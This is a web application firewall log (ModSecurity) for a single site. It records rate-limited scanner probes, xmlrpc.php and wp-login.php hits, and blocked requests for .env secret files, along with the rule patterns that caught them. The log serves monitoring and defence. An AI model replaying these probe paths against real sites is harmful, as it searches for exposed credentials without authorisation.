[Mon Apr 20 22:55:17.937616 2026] [:error] [pid 11352:tid 11417] [client 172.98.33.180:45645] [client 172.98.33.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY-VWl10mhMSfJ7ir_m0AAAAIM"]
[Mon Apr 20 22:55:18.456614 2026] [:error] [pid 11350:tid 11365] [client 54.37.84.47:48752] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aeY-Vv4EoMBgOJuJnT3kLAAAAAY"]
[Mon Apr 20 22:55:20.323765 2026] [:error] [pid 11350:tid 11364] [client 54.37.84.47:48764] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aeY-WP4EoMBgOJuJnT3kMgAAAAU"]
[Mon Apr 20 22:55:22.143223 2026] [:error] [pid 11351:tid 11391] [client 54.37.84.47:48772] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeY-WgN8Z1-vktaI_tM5bwAAAEQ"]
[Mon Apr 20 22:55:24.116773 2026] [:error] [pid 11441:tid 11448] [client 54.37.84.47:48786] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeY-XMixByFUvmh319C31AAAAMU"]
[Mon Apr 20 22:55:26.115521 2026] [:error] [pid 11350:tid 11375] [client 54.37.84.47:48802] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeY-Xv4EoMBgOJuJnT3kNgAAABA"]
[Mon Apr 20 22:55:27.708499 2026] [:error] [pid 11350:tid 11369] [client 45.132.115.229:44561] [client 45.132.115.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.229, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY-X_4EoMBgOJuJnT3kPwAAAAo"]
[Mon Apr 20 22:55:28.130612 2026] [:error] [pid 42014:tid 42028] [client 54.37.84.47:44392] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeY-YMek-00-ZI0f1NqQnwAAAQw"]
[Mon Apr 20 22:55:30.086829 2026] [:error] [pid 11351:tid 11405] [client 54.37.84.47:44408] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeY-YgN8Z1-vktaI_tM5eAAAAFI"]
[Mon Apr 20 22:55:32.036424 2026] [:error] [pid 42014:tid 42021] [client 54.37.84.47:44422] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeY-ZMek-00-ZI0f1NqQogAAAQU"]
[Mon Apr 20 22:55:33.981207 2026] [:error] [pid 11494:tid 11502] [client 54.37.84.47:44434] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeY-Zcgko5iFiE8YoyQDEQAAAYY"]
[Mon Apr 20 22:55:35.808327 2026] [:error] [pid 6928:tid 6931] [client 54.37.84.47:44442] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aeY-Zx3y7MHq1iB0qYrH-AAAAUE"]
[Mon Apr 20 22:55:37.721287 2026] [:error] [pid 6928:tid 6944] [client 54.37.84.47:44024] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aeY-aR3y7MHq1iB0qYrH_wAAAU4"]
[Mon Apr 20 22:55:39.671160 2026] [:error] [pid 6928:tid 6941] [client 54.37.84.47:44030] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeY-ax3y7MHq1iB0qYrIAAAAAUs"]
[Mon Apr 20 22:55:41.650724 2026] [:error] [pid 11351:tid 11404] [client 54.37.84.47:44042] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aeY-bQN8Z1-vktaI_tM5iQAAAFE"]
[Mon Apr 20 22:55:43.590795 2026] [:error] [pid 11351:tid 11409] [client 54.37.84.47:44046] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aeY-bwN8Z1-vktaI_tM5jgAAAFY"]
[Mon Apr 20 22:55:45.519700 2026] [:error] [pid 11494:tid 11511] [client 54.37.84.47:44052] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aeY-ccgko5iFiE8YoyQDIAAAAY8"]
[Mon Apr 20 22:55:47.634916 2026] [:error] [pid 11352:tid 11422] [client 54.37.84.47:55864] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aeY-c2l10mhMSfJ7ir_m3QAAAIg"]
[Mon Apr 20 22:55:48.547760 2026] [:error] [pid 11441:tid 11465] [client 45.132.115.233:65067] [client 45.132.115.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY-dMixByFUvmh319C35QAAANY"]
[Mon Apr 20 22:55:49.446612 2026] [:error] [pid 11351:tid 11392] [client 54.37.84.47:55866] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aeY-dQN8Z1-vktaI_tM5pQAAAEU"]
[Mon Apr 20 22:55:51.453470 2026] [:error] [pid 11350:tid 11369] [client 54.37.84.47:55870] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aeY-d_4EoMBgOJuJnT3kVgAAAAo"]
[Mon Apr 20 22:55:53.358762 2026] [:error] [pid 11441:tid 11467] [client 54.37.84.47:55874] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aeY-ecixByFUvmh319C36gAAANg"]
[Mon Apr 20 22:55:55.324882 2026] [:error] [pid 11351:tid 11388] [client 54.37.84.47:55878] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aeY-ewN8Z1-vktaI_tM5rQAAAEE"]
[Mon Apr 20 22:55:57.234120 2026] [:error] [pid 11350:tid 11361] [client 54.37.84.47:38562] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aeY-ff4EoMBgOJuJnT3kWQAAAAI"]
[Mon Apr 20 22:55:59.102809 2026] [:error] [pid 11494:tid 11516] [client 172.98.33.199:21417] [client 172.98.33.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY-f8gko5iFiE8YoyQDMwAAAZQ"]
[Mon Apr 20 22:55:59.157905 2026] [:error] [pid 11352:tid 11433] [client 54.37.84.47:38564] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aeY-f2l10mhMSfJ7ir_m5QAAAJM"]
[Mon Apr 20 22:56:09.678366 2026] [:error] [pid 11350:tid 11364] [client 172.98.33.193:27507] [client 172.98.33.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY-if4EoMBgOJuJnT3khAAAAAU"]
[Mon Apr 20 22:56:36.004923 2026] [:error] [pid 11441:tid 11459] [client 54.37.84.47:38576] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aeY-pMixByFUvmh319C4QgAAANA"]
[Mon Apr 20 22:56:37.865163 2026] [:error] [pid 11441:tid 11445] [client 54.37.84.47:45570] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeY-pcixByFUvmh319C4RAAAAMI"]
[Mon Apr 20 22:56:39.701864 2026] [:error] [pid 11351:tid 11392] [client 54.37.84.47:45584] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeY-pwN8Z1-vktaI_tM6UQAAAEU"]
[Mon Apr 20 22:56:41.592498 2026] [:error] [pid 11351:tid 11409] [client 54.37.84.47:45594] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aeY-qQN8Z1-vktaI_tM6VgAAAFY"]
[Mon Apr 20 22:56:43.378523 2026] [:error] [pid 11351:tid 11390] [client 54.37.84.47:45596] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aeY-qwN8Z1-vktaI_tM6XQAAAEM"]
[Mon Apr 20 22:56:45.268644 2026] [:error] [pid 11494:tid 11508] [client 54.37.84.47:45602] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aeY-rcgko5iFiE8YoyQDewAAAYw"]
[Mon Apr 20 22:56:47.260269 2026] [:error] [pid 11441:tid 11453] [client 54.37.84.47:50270] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeY-r8ixByFUvmh319C4SAAAAMo"]
[Mon Apr 20 22:56:49.192609 2026] [:error] [pid 11350:tid 11371] [client 54.37.84.47:50274] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aeY-sf4EoMBgOJuJnT3kyAAAAAw"]
[Mon Apr 20 22:56:51.095783 2026] [:error] [pid 11441:tid 11444] [client 54.37.84.47:50284] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aeY-s8ixByFUvmh319C4SwAAAME"]
[Mon Apr 20 23:50:31.738711 2026] [:error] [pid 11441:tid 11466] [client 102.40.163.56:57103] [client 102.40.163.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.40.163.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeZLR8ixByFUvmh319DEWgAAANc"]
[Mon Apr 20 23:50:41.420810 2026] [:error] [pid 6928:tid 6947] [client 102.40.163.56:57546] [client 102.40.163.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.40.163.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeZLUR3y7MHq1iB0qYrTlQAAAVE"]
[Mon Apr 20 23:50:52.004520 2026] [:error] [pid 42014:tid 42028] [client 102.40.163.56:57887] [client 102.40.163.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.40.163.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeZLXMek-00-ZI0f1NqacAAAAQw"]
[Mon Apr 20 23:51:02.603933 2026] [:error] [pid 11494:tid 11508] [client 102.40.163.56:58202] [client 102.40.163.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.40.163.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeZLZsgko5iFiE8YoyQUFQAAAYw"]
[Mon Apr 20 23:51:13.208094 2026] [:error] [pid 11441:tid 11450] [client 102.40.163.56:58526] [client 102.40.163.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.40.163.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeZLccixByFUvmh319DEhwAAAMc"]
[Tue Apr 21 00:22:58.718836 2026] [:error] [pid 11441:tid 11445] [client 202.157.175.19:34332] [client 202.157.175.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.157.175.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeZS4sixByFUvmh319DLxwAAAMI"]
[Tue Apr 21 01:26:46.562670 2026] [:error] [pid 11351:tid 11398] [client 43.159.145.149:40274] [client 43.159.145.149] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeZh1gN8Z1-vktaI_tOUrAAAAEs"]
[Tue Apr 21 01:36:43.229013 2026] [:error] [pid 11350:tid 11361] [client 14.231.55.75:33857] [client 14.231.55.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.231.55.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeZkK_4EoMBgOJuJnT0qbQAAAAI"]
[Tue Apr 21 01:45:46.068384 2026] [:error] [pid 11441:tid 11448] [client 59.125.102.226:42724] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeZmSsixByFUvmh319DjbAAAAMU"]
[Tue Apr 21 02:23:42.624873 2026] [:error] [pid 42014:tid 42031] [client 167.172.55.225:41358] [client 167.172.55.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.55.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeZvLsek-00-ZI0f1Nq6aAAAAQ8"]
[Tue Apr 21 02:46:39.181137 2026] [:error] [pid 11351:tid 11408] [client 195.3.193.120:50320] [client 195.3.193.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.3.193.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeZ0jwN8Z1-vktaI_tPJ1AAAAFU"]
[Tue Apr 21 04:00:26.516935 2026] [:error] [pid 35321:tid 35392] [client 185.194.178.10:35657] [client 185.194.178.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeaF2jeHLhVUuu8cVXw42QAAAEg"]
[Tue Apr 21 04:07:01.953214 2026] [:error] [pid 35320:tid 35339] [client 81.169.226.163:45592] [client 81.169.226.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.226.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeaHZYJW6fdXWO6agMFf1gAAAAk"]
[Tue Apr 21 04:59:18.336286 2026] [:error] [pid 35320:tid 35339] [client 198.58.96.57:53444] [client 198.58.96.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.58.96.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeaTpoJW6fdXWO6agMF1bwAAAAk"]
[Tue Apr 21 05:10:00.769857 2026] [:error] [pid 4823:tid 4865] [client 208.84.101.224:56472] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "aeaWKPc8mke3PfHqsxF8QwAAAYw"]
[Tue Apr 21 05:10:00.769857 2026] [:error] [pid 4823:tid 4857] [client 208.84.101.224:56484] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aeaWKPc8mke3PfHqsxF8QgAAAYQ"]
[Tue Apr 21 05:10:00.770135 2026] [:error] [pid 4823:tid 4868] [client 208.84.101.224:56420] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "aeaWKPc8mke3PfHqsxF8RAAAAY8"]
[Tue Apr 21 05:10:00.770402 2026] [:error] [pid 4823:tid 4873] [client 208.84.101.224:56380] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aeaWKPc8mke3PfHqsxF8RQAAAZQ"]
[Tue Apr 21 05:10:00.770536 2026] [:error] [pid 4823:tid 4870] [client 208.84.101.224:56436] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production.bak"] [unique_id "aeaWKPc8mke3PfHqsxF8RgAAAZE"]
[Tue Apr 21 05:10:00.772356 2026] [:error] [pid 4823:tid 4876] [client 208.84.101.224:56468] [client 208.84.101.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "aeaWKPc8mke3PfHqsxF8RwAAAZc"]
